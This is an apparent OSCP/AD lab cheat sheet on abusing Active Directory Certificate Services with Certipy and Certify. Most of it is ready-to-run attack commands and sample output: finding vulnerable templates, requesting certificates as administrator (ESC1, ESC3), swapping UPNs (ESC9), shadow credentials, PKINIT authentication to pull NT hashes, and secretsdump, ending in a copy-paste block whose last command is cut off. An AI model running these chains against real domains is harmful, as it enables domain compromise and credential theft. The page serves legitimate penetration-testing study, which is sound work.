AD CS — Certipy & Certify
External: Internal All The Things — Certificate Services
What are these tools?
Same attack, two platforms for abusing Active Directory Certificate Services (AD CS):
| Tool | Platform | Run from |
|---|---|---|
| Certipy | Python / Linux | Kali — domain creds, no Windows shell needed |
| Certify | .exe / Windows | Domain-joined host or shell with domain user context |
- Certipy: ly4k/Certipy —
pip install certipy-ad - Certify: GhostPack/Certify — transfer
Certify.exeto target
OSCP / AD lab use: Misconfigured certificate templates let a low-priv domain user request a cert as Domain Admin → PKINIT auth → NT hash / TGT → domain compromise.
Install (Kali)
Certipy (Linux):
pip install certipy-ad
certipy-ad -hCertify (Windows): download Certify.exe from GhostPack/Certify — transfer to target.
Full install index → Installation - Kali Setup
📌 What is AD CS?
AD Certificate Services issues X.509 certificates (VPN, smart card, TLS, machine auth). Templates define who can request what. Bad settings → ESC1–ESC8 attack paths (SpecterOps “Certified Pre-Owned”).
Low-priv user → request cert (bad template) → cert = administrator → PKINIT → DA access
Ports: LDAP 389 (ldapsearch), 443/80 (web enrollment), SMB 445.
📌 Which Tool When?
| Situation | Use |
|---|---|
| Have domain creds on Kali only | Certipy |
| Already on Windows domain shell | Certify (or Certipy from Kali either way) |
| ESC8 web enrollment relay | Certipy relay + ntlmrelayx + Responder |
📌 ESC Scenarios (ESC1–ESC16)
Per-ESC detect + exploit notes with Hacker Recipes links:
→ AD CS ESC — index table · ESC1 · ESC9 (Certified UPN swap) · ESC8
Labs/exam: ESC1, ESC8, ESC9 most common.
Look for: Enrollee Supplies Subject, Client Authentication EKU, NO_SECURITY_EXTENSION, ESC* flags in -vulnerable / .txt report.
📌 Certipy (Linux / Kali)
Install & auth
pip install certipy-ad
certipy-ad -h # Certipy v5+ CLI (also: certipy)LDAP modules** (AD CS — use ldap, not smb):
# ❌ WRONG — Module ADCS is not supported for protocol smb
# nxc smb retro.vl -u BANKING$ -p 'Password1!' -M adcs
# ✅ Correct
nxc ldap retro.vl -u 'BANKING$' -p 'Password1!' -M adcs
nxc ldap retro.vl -u 'BANKING$' -p 'Password1!' -M certipy-find-u / -username syntax (Certipy v5): sAMAccountName only — no @domain suffix.
# ✅ Correct
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
certipy-ad find -u 'banking$' -p 'Password1!' -dc-ip 10.129.30.113 -vulnerable
# ❌ Wrong — LDAP bind fails ("invalid username")
certipy-ad find -u banking$@retro.vl -p 'Password1!' -dc-ip 10.129.30.113
certipy-ad find -u user@corp.local -p 'Password1' -dc-ip 10.10.10.10| Auth flag | Format | Notes |
|---|---|---|
-u / -username | jsmith or 'machine$' | Quote $ in bash for machine accounts |
-dc-ip | DC IP | Domain resolved via LDAP to DC |
-upn (in req) | administrator@domain.htb | Certificate UPN — different from -u |
# Password
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
# Pass-the-Hash
certipy-ad find -u user -hashes ':NTLM_HASH' -dc-ip 10.10.10.10
# Kerberos ticket (after getTGT / PKINIT ccache — set KRB5CCNAME first)
export KRB5CCNAME=management_svc.ccache
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb -vulnerable
-krequires-target(DC hostname or IP) — do not append IP as a trailing argument.
Time sync: Kerberos fails if Kali clock skew > 5 min → Time Sync-Clock Skew · Kerberos Setup - krb5.conf
find — enumerate
# Password
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -vulnerable
# Machine account (retro.vl style)
certipy-ad find -u 'banking$' -p 'Password1!' -dc-ip 10.129.30.113 -vulnerable
# Kerberos ticket — `-target` required with `-k` (not a trailing positional IP)
export KRB5CCNAME=management_svc.ccache
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb -vulnerable
# Optional if hostname won't resolve: add -target-ip 10.129.231.186
# JSON output
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -json -output certipy_find| Flag | When |
|---|---|
-u / -username | sAMAccountName only — no @domain (see auth above) |
-k | Kerberos auth — reads KRB5CCNAME ccache |
-no-pass | No password prompt (pairs with -k) |
-target DC01.domain.htb | Required for -k — DC hostname or IP |
-dc-ip IP | DC IP (recommended with -k) |
-target-ip IP | When -target is hostname that won’t resolve |
-dc-host hostname | DC hostname for Kerberos SPN (if needed) |
-vulnerable | Highlight ESC misconfigs (ESC1–ESC16 where supported) |
→ Ticket setup: Use Kerberos Ticket · PKINIT cert TGT: Shadow Credentials - pywhisker
Quick CA discovery via NetExec (use nxc ldap, not nxc smb):
nxc ldap domain.htb -u USER -p PASS -M adcs
nxc ldap domain.htb -u USER -p PASS -M certipy-find→ CrackMapExec - nxc > OSCP — AD / enum modules
Reading the find report (important)
Successful find writes report files — the terminal scroll is not the full picture. Look for:
[*] Wrote text output to '20260630011314_Certipy.txt'
[*] Wrote JSON output to '20260630011314_Certipy.json'
Inspect the .txt report on Kali:
# Vulnerabilities / ESC flags
grep -A20 -B5 "Vulnerabilities" 20260630011314_Certipy.txt
grep -i "ESC" 20260630011314_Certipy.txt
# Certificate Authorities section
grep -A30 "Certificate Authorities" 20260630011314_Certipy.txt
# Enabled templates (long output)
grep -A200 "Enabled Certificate Templates" 20260630011314_Certipy.txt
# Or browse interactively
less 20260630011314_Certipy.txt
# inside less: /ESC or /VulnerabilitiesReplace the timestamp filename with whatever Certipy printed for your run.
About RPC / connection warnings: Certipy uses LDAP and RPC to the CA/DC. RPC errors or odd warnings → enum endpoints with rpcdump · RPC.
req — request cert (ESC1 — SAN / UPN)
certipy-ad req -u user -p 'Password1' -dc-ip 10.10.10.10 \
-ca 'DC01.corp.local\\corp-CA' -template 'VulnerableTemplate' \
-upn 'administrator@corp.local' -out administratorreq — on-behalf-of (ESC3 — enrollment agent)
Request a certificate for another user using an enrollment-agent template + existing .pfx:
certipy-ad req \
-u cert_admin \
-p rogue \
-ca tombwatcher-CA-1 \
-template User \
-on-behalf-of 'tombwatcher\administrator' \
-pfx cert_admin.pfx \
-target dc01.tombwatcher.htb \
-dc-ip 10.129.232.167Expected success output:
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Then PKINIT auth:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.167| Flag | Purpose |
|---|---|
-on-behalf-of 'DOMAIN\user' | Target account to impersonate (ESC3) |
-pfx file.pfx | Existing cert/key for enrollment agent |
-target dc01.domain.htb | CA host / RPC target |
-ca CA-NAME | CA common name from find report |
-template Name | Enrollment-agent-capable template |
auth — PKINIT → NT hash
# Basic — PFX password if encrypted
certipy-ad auth -pfx administrator.pfx -password 'PFX_PASSWORD' -dc-ip 10.10.10.10
# With explicit username + domain (retro.vl style)
certipy-ad auth -pfx 'administrator.pfx' \
-username 'administrator' \
-domain 'retro.vl' \
-dc-ip 10.129.234.44| Flag | Purpose |
|---|---|
-pfx | Certificate + private key file from req |
-username | Account the cert maps to (sAMAccountName — no @domain) |
-domain | Domain FQDN (retro.vl) |
-dc-ip | DC IP for Kerberos/PKINIT |
-password | PFX encryption password (if set) |
Success: returns NT hash → evil-winrm -H · Use Kerberos Ticket · Credential Graph
account update — change UPN (ESC9 / ESC10)
Requires GenericWrite (or equivalent) on target account:
# Set victim UPN to impersonation target (before req)
certipy-ad account update \
-username management_svc -p 'PASS' \
-user ca_operator \
-upn Administrator
# Restore original UPN (after req, before auth)
certipy-ad account update \
-username management_svc -p 'PASS' \
-user ca_operator \
-upn ca_operator@certified.htbFull Certified chain → ESC9
Shadow Credentials (certipy-ad)
Built-in alternative to pywhisker — requires appropriate LDAP rights on target:
certipy-ad shadow auto -u user -p 'Password1' -dc-ip 10.10.10.10 -account targetuserFull pywhisker + PKINITtools chain (GenericWrite, Certified-style) → Shadow Credentials - pywhisker
Other
# ESC8 — pair with ntlmrelayx (advanced)
# certipy relay ...📌 Certify (Windows)
Run
.\Certify.exe
.\Certify.exe find /?Requires domain user context on Windows.
find — enumerate
.\Certify.exe find
.\Certify.exe find /vulnerable
.\Certify.exe find /json /outfile:certify.json
.\Certify.exe find /template:VulnerableTemplaterequest — request cert (ESC1)
.\Certify.exe request /ca:dc01.corp.local\corp-CA /template:BadTemplate /altname:administrator
.\Certify.exe request /ca:dc01.corp.local\corp-CA /template:BadTemplate /altname:administrator /outfile:admin.pfxauth — PKINIT
.\Certify.exe auth /pfx:admin.pfx /password:CertPassword
.\Certify.exe auth /pfx:admin.pfx /password:CertPassword /getcredentialsdownload
.\Certify.exe download /id:123📌 Command Parity
| Step | Certipy (Linux) | Certify (Windows) |
|---|---|---|
| Enum | certipy-ad find -vulnerable | Certify.exe find /vulnerable |
| Request (ESC1) | certipy-ad req ... -upn administrator@domain | Certify.exe request ... /altname:administrator |
| Request (ESC3) | certipy-ad req ... -on-behalf-of 'DOMAIN\user' -pfx agent.pfx | enrollment agent via Certify |
| Auth | certipy-ad auth -pfx file.pfx | Certify.exe auth /pfx:file.pfx |
📌 Full Attack Chain
From Linux (Certipy)
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -vulnerable
# grep ESC* in the .txt report file Certipy writes
certipy-ad req -u user -p 'Password1' -dc-ip 10.10.10.10 \
-ca 'DC01.corp.local\\corp-CA' -template 'ESC1Template' \
-upn 'administrator@corp.local' -out admin
certipy-ad auth -pfx admin.pfx -password 'output_password' -dc-ip 10.10.10.10
impacket-secretsdump corp.local/administrator@10.10.10.10 -hashes ':NT_HASH'From Windows (Certify)
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:DC01.corp.local\corp-CA /template:ESC1Template /altname:administrator /outfile:admin.pfx
.\Certify.exe auth /pfx:admin.pfx /password:CertPassword /getcredentials
# Use hash with impacket from Kali or continue on-box📌 ESC8 — Web Enrollment Relay (Overview)
1. [[Responder]] or coerce NTLM from CA/DC
2. [[ntlmrelayx]] → https://CA/certsrv/certfnsh.asp
3. Request cert → domain escalation
Advanced — AD-focused labs.
📌 Quick Copy/Paste
# Linux
certipy-ad find -u user -p 'PASS' -dc-ip DC_IP -vulnerable
certipy-ad find -u 'machine$' -p 'PASS' -dc-ip DC_IP -vulnerable # quote $
export KRB5CCNAME=user.ccache
certipy-ad find -k -no-pass -dc-ip DC_IP -target DC01.domain.htb -vulnerable
grep -i ESC *_Certipy.txt # read report file, not just terminal
certipy-ad req -u user -p 'PASS' -dc-ip DC_IP -ca 'HOST\\CA' -template TEMPLATE -upn administrator@domain.htb
certipy-ad req -u agent -p 'PASS' -pfx agent.pfx -on-behalf-of 'DOMAIN\administrator' -ca CA-NAME -template User -target dc01.domain.htb -dc-ip DC_IP
certipy-ad auth -pfx administrator.pfx -password 'PFX_PASS' -dc-ip DC_IP
# Or explicit user + domain
certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -dc-ip DC_IP# Windows
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:HOST\CA /template:TEMPLATE /altname:administrator
.\Certify.exe auth /pfx:cert.pfx /password: